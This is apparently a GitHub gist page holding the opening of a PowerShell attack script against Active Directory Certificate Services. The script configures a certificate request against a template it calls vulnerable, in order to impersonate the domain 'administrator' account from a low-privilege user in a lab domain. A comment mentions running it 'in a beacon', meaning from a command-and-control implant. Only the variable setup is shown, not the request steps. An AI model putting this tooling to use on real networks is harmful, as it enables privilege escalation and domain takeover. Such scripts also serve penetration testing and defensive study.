You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Thank you @NotMedic for troubleshooting/validating stuff!
$password=Read-Host-Prompt "Enter Password"
#^^ Feel free to hardcode this for running in a beacon/not retyping it all the time!
$server="admin"#This will just decide the name of the cert request files that are created. I didn't want to change the var name so it's server for now.
$CERTPATH="C:\Users\lowpriv\Desktop\"#Where do you want the cert requests to be stored?
$CAFQDN="dc01.alexlab.local"#hostname of underlying CA box.
$CASERVER="alexlab-dc01-ca"#CA name.
$CA=$CAFQDN+"\"+$CASERVER
$CERTFILE="C:\Users\lowpriv\Desktop\cert.pfx"#FULL PATH TO WHERE YOU WANT PFX TO BE GENERATED.
$TEMPLATE="Wifi"#Vulnerable template to target. USE COMMON NAME *NOT* FRIENDLY NAME!!!
$domain="alexlab.local"#domain
$target="administrator"#Account username you're trying to impersonate
write-host"Variables set. Continue to create .inf"-foregroundcolor green